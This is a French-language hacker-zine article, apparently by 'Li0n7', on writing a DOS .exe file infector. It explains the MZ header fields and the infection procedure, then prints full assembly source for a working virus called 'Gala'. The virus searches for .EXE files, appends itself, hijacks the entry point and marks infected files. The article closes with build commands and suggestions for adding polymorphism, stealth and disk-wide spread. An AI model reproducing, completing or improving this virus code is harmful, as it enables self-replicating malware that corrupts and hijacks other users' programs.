--------------------------------------------------------------------------------------- XII. EXE infector Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Nous avons étudié la programmation d'un com infector, voyons à présent l'infection des exe. Les com sont des petits fichiers éxécutés par le système d'exploitation dans le but de remplir certaines taches basiques, ils sont donc beaucoup moins utilisés par l'utilisateur, voir dans certains cas inutilisés. L'espérance de vie d'un com infector s'en voit considérablement réduite. Le format exe, qui est la référence de l'éxécutable sous des système de type windows, beaucoup plus volumieux, doté d'une structure alors plus complexe, lui assure ainsi une plate-forme sûre d'expansion. L'arrivée des macros-virus a fait naitre une incompréhension totale de la manière d'infecter un .exe, en effet, ceux-ci, s'ils ne suppriment pas barabarement les éxécutables, remplace la totalité du code de ces derniers et les renomment en .vbs, ce qui n'a rien d'un procédé d'expansion virale en soit. L'injection d'un virus à travers un .exe se présente comme l'infection la plus difficile à mettre en oeuvre en raison de l'header située en tête de ce type de fichier. [ Sommaire ] I. Description II. Programmation III. Code source IV. Conclusion I. Description : ________________ Contrairement à l'infection d'un .com, nous n'allons pas overwritter certaines données du .exe, juste modifier provisoirement certaines informations de l'header en début de fichier et modifier le tableau de réadressage. Cet en-tête est vital au fichier, altéré, il corromperait le fichier ! Il contient tout une série de paramètres nécéssaires à la bonne lecture de l'exécutable par le DOS : ou placer la pile, ou l'éxécution commence-t'elle, la taille du fichier... Pour comprendre ceci, il est indispensable de savoir que tout .exe est organisé en segments, ainsi le code de l'éxécutable peut commencer et finir n'importe ou. [ PE Header ] +----------------------------------------------------------------------------------------+ |OFFSET| NOM |TAILLE| DESCRIPTION | +----------------------------------------------------------------------------------------+ |00 | Signature |2bytes| MZ - 4DH 5AH | +----------------------------------------------------------------------------------------+ |02 | Taille dernière page |word | Taille en bytes de la dernière page (512 bytes) | +----------------------------------------------------------------------------------------+ |04 | Nombre pages fichier |word | Nombre total de pages de 512 bytes | +----------------------------------------------------------------------------------------+ |06 | Relocation items |word | Nombre d'entrées dans la table de relocations | +----------------------------------------------------------------------------------------+ |08 | Paragraphes en-tête |word | Taille de l'header en paragraphes (16 bytes) | +----------------------------------------------------------------------------------------+ |0A | Allocation minimale |word | Mémoire minimum requise en paragraphes | +----------------------------------------------------------------------------------------+ |0C | Allocation maximale |word | Mémoire maximum requise en paragraphes | +----------------------------------------------------------------------------------------+ |0E | Prerelocation SS |word | Offset segment de pile en paragraphes | +----------------------------------------------------------------------------------------+ |10 | Stack pointer initial |word | Première valeur du pointeur de la pile | +----------------------------------------------------------------------------------------+ |12 | Negative checksum |word | Nous y placerons notre marqueur d'infection | +----------------------------------------------------------------------------------------+ |14 | Prerelocation IP |word | Adresse de début d'éxécution (IP) | +----------------------------------------------------------------------------------------+ |16 | Prerelocation CS |word | Code Segment (segment de début d'éxécution) | +----------------------------------------------------------------------------------------+ |18 | offset table reloc. |word | Offset table des relocations | +----------------------------------------------------------------------------------------+ |1A | Overlay number |word | overlay | +----------------------------------------------------------------------------------------+ |1C | Réservé |dword | / | +----------------------------------------------------------------------------------------+ Lorsque nous infection un .com, nous nous contentions de rajouter un jmp au début du fichier prenant en argument l'offset de notre virus situé à la fin du fichier. Nous overwrittions donc les premiers bytes du fichier. Ici, nous allons modifier certains champs de l'header de façon à éxécuter notre code situé dans un module chargée en mémoire (le dernier segment de l'exe), puis redonner la main au fichier hôte en remodifiant l'header. Pour cela nous aurons besoin de 5 champs. Les deux premiers nous renseigne sur la taille de la dernière page (offset 02h) et le nombre total de pages (offset 04h), donc la taille du fichier en pages de 512 de bytes. Nous modifierons aussi l'offset 0Eh contenant le déplacement en paragraphes relatif à la fin de l'header à effectuer pour atteindre le stack segment, et l'offset 10h contenant le déplacement à effectuer relativement au début de SS pour atteindre SP. Ainsi que l'offset 16h, contenant le déplacement en paragraphes relativement à la fin de l'header qu'il faut effectuer pour se rendre à l'entry point (fonction main), située sur le segment de code, première fonction a être éxécutée, nous y placerons l'offset de notre virus. Et enfin l'offset 14h, contenant l'adresse du point d'entrée (fonction main) sur CS. [ PSP ] Il faut savoir qu'après l'header de l'éxécutable se trouve la table de relocation qui n'est utilisé qu'avec des fichiers dont la taille est supérieur à 64k. La table de relocation contient une liste pointeurs pointant chacun sur une adresse du programme devant être reajustées en fonction du segment dans lequel le DOS a initialisé le programme. Pour obtenir l'adresse décalée, le DOS commence par charger l'adresse située dans la table et y ajoute le segment du programme. Quand DOS lance un .exe, il charge le segment PSP dans un segment mémoire. il crée une petite structure de données de 256 octets, nommée PSP (Program Segment Prefix). Le PSP qui est un vestige des premières versions DOS et de CP/M contient des informations spécifiques à l'environnement du programme. Le PSP est créée lors de l'éxécution du programme, et ne nécéssite ainsi aucune place sur la mémoire morte du dur. Le PSP chargé, il ajoute la valeur 10h à CS et laisse ES et DS pointer sur le segment PSP. Le code initial du programme commence alors à cs:0000 ou le segment PSP est définie à CS-10h:0000 (voir schéma). Structure .com Structure .exe +-------------+ +-------------+ | | | | | | | | +-------------+ CS:FFFFh | +-------------+ | | | 64k | | | | | PILE | max | | PILE | 64k| | | | | | max| +-------------+ |_ +-------------+ SS:0000h | | | | | | | | DONNEES | 64k | | DONNEES | | | | max | | | | +-------------+ |_ +-------------+ DS:0000h | | | | | | | | | 64k | | | | | CODE | max | | CODE | | | | | | | | | | | | | | | | | | | DS=SS=0000h |_ +-------------+ CS:0000h |_ +-------------+ CS:0000h | PSP | | PSP | <-------------< DS=SS=0000h <-------------< CS-10h:0000 | | | | | | | | +-------------+ 0000:0000 +-------------+ 0000:0000 Ceci ne sera pris en compte lors de l'infection de l'exe, mais il peut être toujours intéréssant de le savoir. Lorsqu'un programme est chargé, DOS alloue en mémoire une autre autre structure de données appelée le bloc d'environnement. Ce bloc contient la liste de toutes les variables d'environnement (qui sont généralement déclarées dans le fichier AUTOEXEC.BAT, servant à définir le contexte dans lequel l'éxécution du programme a lieu) au format VARIABLE=VALEUR\0. A la fin de cette liste se trouve un byte à 0, suivi d'un mot (généralement 0001h) et finalement du nom complet de l'exécutable terminé par un \0 (byte 00h). Ce bloc d'environnement est toujours calé sur le début d'un segment, et on peut trouver l'adresse de ce segment à l'offset 02Ch du PSP. Lorsque le programme est terminé, ce bloc d'environement est détruit (i.e. déalloué). [ Processus d'infection ] Etudions dés à présent le fonctionnement général et théorique de notre infection. Vous savez qu'il differera de celle d'un .com, en raison de la structure interne de notre .exe. Tout d'abord nours allons vérifier qu'il s'agit bien d'un fichier .exe en vérifiant sa signature située à l'offset 00 de l'header qui doit correspondre à 'MZ'(ou 'ZM'). L'étape suivante consistera à déterminer si ce même fichier a déjà été infecté par vérification de l'offset 12 (Negative checksum) qui n'est généralement pas utilisé et donc parfait pour insérer une marque d'infection (un charactère quelconque). Notez que nous aurions aussi pu stocker ce marqueur dans SP. Ensuite il va nous falloir garder en mémoire les adresses des principaux registres de l'header tels que CS, SS, SP, IP. Puis nous injecterons le code virale à la fin du fichier hôte et nous définirions une adresse pour le pointeur de pile sur le segment de pile (SS:SP), une adresse fiable assure une infection réussie, dans le cas contraire, un pseudo buffer overflow planterait le programme et le virus ne pourrait se répandre en dehors du launcher (tous les programmes hôtes serait corrompus et ne pourraient donc fonctionner). Nous recalculerons la taille du fichier en pages et en bytes que nous devrons placer respec- -tivement à l'offset 04 et 02 de l'header. Et enfin, nous n'aurons plus qu'à rendre la main au programme hôte en replaçant la pile à sa valeur initiale, le pointeur d'instruction sur CS pointant au début du fichier. Notez que nous devons reajuster SS et CS en leur ajoutant ES+10 (ES et DS pointent tous deux sur PSP). L'ultime étape consiste à masquer toute trace d'infection en restorant les attributs de fichier et la dernière date (et heure) de modification du fichier pour éviter de pouvoir tracer le virus. II. Programmation : ___________________ Après toute cette théorie vous devez être capable de coder un launcher facilement. Nous allons étudier successivement toutes les routines d'infection assembleur. Rien de bien compliqué je vous rassure. Le code a été obtenue par modification de mon virus zex, les routines de début sont donc identiques et la structure du programme s'est vue compliqué par l'infection du format exe. Ce virus est actif, de ce fait essayer de l'isoler sur votre machine. Tout d'abord, il nous faut calculer le décalage relatif à la fin du fichier hôte infecté, pour ensuite pouvoir manipuler variables et label à partir du fichier infecté. ------8<-------------------- Virus: push ds ;empile ds push cs cs ;empile cs pop es ds ;es = ds = cs call debut debut: pop bp ;on récupere ds sub bp,offset debut ;on y soustrait l'offset du label ;debut: pour obtenir le début du virus ------8<-------------------- Maintenant nous devons déclarer une nouvelle table DTA (voir article com_infector) puis mettre à 0 l'IP, pour le faire pointer ensuite sur notre code virale situé à la fin du virus. A la fin de la routine défaut nous lancerons la recherche d'exe à infecter. ------8<-------------------- MDTA: lea dx,[bp+DTA] ;dx <- [bp+DTA] mov ah,1a ;définir nouvelle table DTA int 21 Defaut: lea di,[bp+New_IP] ;di <- [bp+New_IP] (destination) lea si,[bp+Def_IP] ;si <- [bp+Def_IP] (source) mov cx,4 ;cx <- 4 rep movsw ;di[4] <- si[4] mov ah,4e ;ax <- 4eh (code de recherche) xor cx,cx ;cx <- 0 lea dx,[bp+exesig] ;dx <- [bp+exesig] (fichier que nous recherchons, ici '*.exe') ------8<-------------------- Nos arguments de recherches placés dans les différents registres, nous n'avons plus qu'à lancer la boucle de recherche principale. C'est la fonction principale de notre virus, après avoir trouver un fichier en .exe, elle commence par le lire dans sa totalité en stockant son contenu dans un buffer: header_exe, ensuite elle se contente de vérifier le format du fichier par lecture à l'offset 00 de la chaine 'ZM' et la pureté de ce dernier par lecture de l'offset 12. Si le fichier est bien un .exe pure (i.e si l'offset 12 de l'header ne contient pas la chaine 'X'), alors elle appelle la routine SHEADER qui effectue une sauvegarde de l'header, puis les deux routines CSIP et SIZE qui, respectivement, modifie différents offsets de l'header et calcule la nouvelle taille de l'exe (concaténer avec le virus). Et enfin copie le virus à la fin du fichier et l'header modifié au début de celui-ci. ------8<-------------------- Loop_cherche: int 21 ;lance la recherche jc End_loop ;erreur? recherche terminée? on quitte mov ax,3d02 ;ax <- 3d02h lea dx,[bp+DTA+1e] ;dx <- [bp+DTA+1e] (offset 1eh table DTA = nom du fichier) int 21 ;on ouvre le fichier en lecture/écriture mov bx,ax ;bx <- handle du fichier mov ah,3f ;ah <- 3fh mov cx,1a ;cx <- 1ah (taille du fichier) lea dx,[bp+header_exe] ;dx <- [bp+header_exe] int 21 ;on stocke le contenu du fichier dans le buffer header_exe cmp word ptr [bp+header_exe],'ZM' ;fichier exe? jne close_file ;non on ferme le fichier cmp byte ptr [bp+header_exe+12],'X' ;fichier déjà infecté? je close_file ;oui on ferme le fichier call __SHEADER ;on appelle la routine SHEADER mov ax,4202 ;on se déplace au début du fichier xor cx,cx xor dx,dx int 21 push ax dx ;empilement de ax et dx call __CSIP ;appel de la routine CSIP pop dx ax ;dx <- dx, ax <- ax (taille du fichier non infecté) call __SIZE ;appel de la routine SIZE mov ah,40 ;ax <- 40h mov cx,Fin-Virus ;cx <- offset Fin - offset virus (taille du virus) lea dx,[bp+Virus] ;dx <- [bp+Virus] int 21 ;on écrit le virus à la fin du fichier mov ax,4200 ;déplacement au début du fichier xor cx,cx xor dx,dx int 21 mov ah,40 mov cx,1a lea dx,[bp+header_exe] int 21 ;écriture de l'header modifié ------8<-------------------- L'infection du fichier exe actuellement ouvert terminée, il nous faut le refermet et continuer la recherche. En cas d'erreur, ou de fin de recherche, on saute directement au label End_loop, qui restore la table DTA d'origine. ------8<-------------------- Close_File: mov ah,3e ;ah <- 3eh (bx <- handle) int 21 ;fermeture du fichier Continue: mov ah,4f ;ah <- 4fh jmp Loop_cherche ;continuer recherche End_loop: pop ds ;adresse du segment PSP mov dx,80 ;dx <- 80 mov ah,1a ;ah <- 1ah int 21 ;restoration de la table DTA ------8<-------------------- La recherche terminée, le segment de code doit être remodifié de façon à éxécuter le code original du fichier hôte. Nous effectuons ensuite un far jump 0 New_CS:New_IP (ce qui à pour conséquence de rendre la main au fichier infecté). ------8<-------------------- Hote_go: push ds pop es ;es <- ds mov ax,es ;ax <- es add ax,10 add word ptr cs:[bp+New_CS],ax ;reajuste l'ancien segment de code (sauvegardé avant infection) cli add ax,word ptr cs:[bp+New_SS] ;reajuste l'ancien segment de pile (sauvegardé avant infection) mov ss,ax ;ss <- ax mov sp,word ptr cs:[bp+New_SP] ;on restore le pointeur de pile original sti db 0ea ;far jmp New_CS:New_IP New_CS dw 0 New_IP dw 0 New_SP dw 0 New_SS dw 0 Def_CS dw 0fff0 Def_IP dw 0 Def_SP dw 0 Def_SS dw 0fff0 ------8<-------------------- Bon à présent étudions les différentes routines qui vont nous permettre l'éxécution du virus à l'ouverture du fichier hôte dans de bonnes conditions. Pour commencer la routine CSIP. Celle-ci s'occupe de la modification des différents offsets de l'header du fichier a infecter. Les offsets 0Eh, 10h, 12h, 14h et 16h sont modifiés respectivement avec l'offset du nouveau segment de pile calculé en paragraphes (SS=CS), la valeur 0FFFE (SP), 'X' caractère marqueur de l'infection (placé dans le Negative checksum offset 12h), puis, la nouvelle première instruction à éxécuter (la première de notre virus) et enfin l'adresse de segment CS modifiée. Toutes ces valeurs sont calculées en effectuant différents calculs obtenus par manipulation des mnémoniques arithmétiques (shl,shr) qui effectuent un décalage à droite ou à gauche de n octets, ce qui a pour résultat de multiplier la valeur placée dans l'opérande source par une puissance de 2, correspondant au nombre placé dans l'opérande de destination. ------8<-------------------- __CSIP: push ax ;empile (ax <- taille du fichier hôte) mov ax,word ptr[bp+header_exe+8] ;ax <- taille de l'header mov cl,4 ;cl <- 4 (2^4=32) shl ax,cl ;conversion en bytes (ax*32) mov cx,ax ;cx <- ax pop ax ;ax <- taille du fichier hôte sub ax,cx ;ax <- ax - cx sbb dx,0 mov cl,0ch ;cx <- 12 shl dx,cl ;dx <- adresse de segment mov cl,4 ;cl <- 4 push ax shr ax,cl ;ax <- ax/4 add dx,ax ;dx <- dx + ax (nouveau CS) shl ax,cl ;ax <- ax*4 pop cx sub cx,ax ;cx <- cx - ax (nouveau IP) mov word ptr [bp+header_exe+0Eh],dx ;[bp+header_exe+0Eh] <- nouveau SS (= CS) mov word ptr [bp+header_exe+10],0FFFE ;[bp+header_exe+10] <- 0FFFE (SP) mov byte ptr [bp+header_exe+12],'X' ;[bp+header_exe+12] <- 'X' (marqueur d'infection) mov word ptr [bp+header_exe+14],cx ;[bp+header_exe+14] <- nouveau IP mov word ptr [bp+header_exe+16],dx ;[bp+header_exe+16] <- nouveau CS ret ------8<-------------------- La routine SIZE calcule la nouvelle taille du fichier hôte infecté (fichier hôte et virus concaténés), en pages et en bytes, puis place à l'offset 04 du PE header le nombre de pages, et à l'offset 02 la taille en byte du fichier hôte infecté. ------8<-------------------- __SIZE: push ax ;empilem (ax <- taille fichier hôte) add ax,Fin - Virus ;ax <- taille fichier infecté adc dx,0 mov cl,7 ;cl <- 7 (2^7=128) shl dx,cl ;dx <- dx*128 mov cl,9 ;cl <- 9 (2^9=512) shr ax,cl ;ax <- ax/512 add ax,dx ;ax <- ax + dx inc ax mov word ptr [bp+header_exe+04],ax ;[bp+header_exe+04] <- nombre de pages pop ax mov dx,ax shr ax,cl shl ax,cl mov dx,ax mov word ptr [bp+header_exe+02],dx ;[bp+header_exe+02] <- taille en bytes ret ------8<-------------------- Et enfin la routine SHEADER qui effectue une sauvegarde de l'header du fichier hôte non infecté par copie des champs de celui-la allant être modifié (0Eh-SS, 10-SP, 14-IP, 16-CS), dans les buffers respectifs Def_SS, Def_SP, Def_IP, Def_CS. ------8<-------------------- __SHEADER: mov ax,word ptr [bp+header_exe+0Eh] mov word ptr [bp+Def_SS],ax ;[bp+Def_SS] <- [bp+header_exe+0Eh] mov ax,word ptr [bp+header_exe+10] mov word ptr [bp+Def_SP],ax ;[bp+Def_SP] <- [bp+header_exe+12] mov ax,word ptr [bp+header_exe+14] mov word ptr [bp+Def_IP],ax ;[bp+Def_IP] <- [bp+header_exe+14] mov ax,word ptr [bp+header_exe+16] mov word ptr [bp+Def_CS],ax ;[bp+Def_CS] <- [bp+header_exe+16] ret ------8<-------------------- III. Code source : __________________ ------8<--------------------------------------------------------------------- ;Gala by Li0n7 ;current directory exe file format infector ;Salvador's not here.. Fuck! you gotta code your own AV!... ;... Gala rot in hell!! .model tiny .radix 16 .code org 100 Virus: push ds push cs cs pop es ds call debut debut: pop bp sub bp,offset debut MDTA: lea dx,[bp+DTA] mov ah,1a int 21 Defaut: lea di,[bp+New_IP] lea si,[bp+Def_IP] mov cx,4 rep movsw mov ah,4e xor cx,cx lea dx,[bp+exesig] Loop_cherche: int 21 jc End_loop mov ax,3d02 lea dx,[bp+DTA+1e] int 21 mov bx,ax mov ah,3f mov cx,1a lea dx,[bp+header_exe] int 21 cmp word ptr [bp+header_exe],'ZM' jne close_file cmp byte ptr [bp+header_exe+12],'X' je close_file call __SHEADER mov ax,4202 xor cx,cx xor dx,dx int 21 push ax dx call __CSIP pop dx ax call __SIZE mov ah,40 mov cx,Fin-Virus lea dx,[bp+Virus] int 21 mov ax,4200 xor cx,cx xor dx,dx int 21 mov ah,40 mov cx,1a lea dx,[bp+header_exe] int 21 Close_File: mov ah,3e int 21 Continue: mov ah,4f jmp Loop_cherche End_loop: pop ds mov dx,80 mov ah,1a int 21 Hote_go: push ds pop es mov ax,es add ax,10 add word ptr cs:[bp+New_CS],ax cli add ax,word ptr cs:[bp+New_SS] mov ss,ax mov sp,word ptr cs:[bp+New_SP] sti db 0ea New_CS dw 0 New_IP dw 0 New_SP dw 0 New_SS dw 0 Def_CS dw 0fff0 Def_IP dw 0 Def_SP dw 0 Def_SS dw 0fff0 __CSIP: push ax mov ax,word ptr[bp+header_exe+8] mov cl,4 shl ax,cl mov cx,ax pop ax sub ax,cx sbb dx,0 mov cl,0ch shl dx,cl mov cl,4 push ax shr ax,cl add dx,ax shl ax,cl pop cx sub cx,ax mov word ptr [bp+header_exe+0Eh],dx mov word ptr [bp+header_exe+10],0FFFE mov byte ptr [bp+header_exe+12],'X' mov word ptr [bp+header_exe+14],cx mov word ptr [bp+header_exe+16],dx ret __SIZE: push ax add ax,Fin - Virus adc dx,0 mov cl,7 shl dx,cl mov cl,9 shr ax,cl add ax,dx inc ax mov word ptr [bp+header_exe+04],ax pop ax mov dx,ax shr ax,cl shl ax,cl mov dx,ax mov word ptr [bp+header_exe+02],dx ret __SHEADER: mov ax,word ptr [bp+header_exe+0Eh] mov word ptr [bp+Def_SS],ax mov ax,word ptr [bp+header_exe+10] mov word ptr [bp+Def_SP],ax mov ax,word ptr [bp+header_exe+14] mov word ptr [bp+Def_IP],ax mov ax,word ptr [bp+header_exe+16] mov word ptr [bp+Def_CS],ax ret exesig db '*.EXE',0 Fin: header_exe db 1a dup (?) DTA: End Virus ------8<--------------------------------------------------------------------- V. Conclusion : _______________ L'infection d'un .exe se montre ainsi plus difficile que celle d'un .com. Mais, Le format exe étant un poil moins complexe que le format elf, les virus ont encore de beaux jours devant eux sur les plate-formes windows. Le code de ce virus peut être une fois encore largment optimisé pour se voir greffer un moteur de polymorphie par exemple ou encore une routine de restoration de date de modification des fichiers infectés, en conséquence, la furtivité du virus s'en verra grandement améliorée! Notez que ce virus n'infecte que les fichiers du répertoire courrant, cet atavisme hérité du com infector peut être contourné en étendant le pouvoir d'infection du microbe sur tout le disque, cette fonction est encore très simple à programmer, avis aux vxers ! Pour assembler: >tasm gala.asm Pour linker: >tlink gala.obj >gala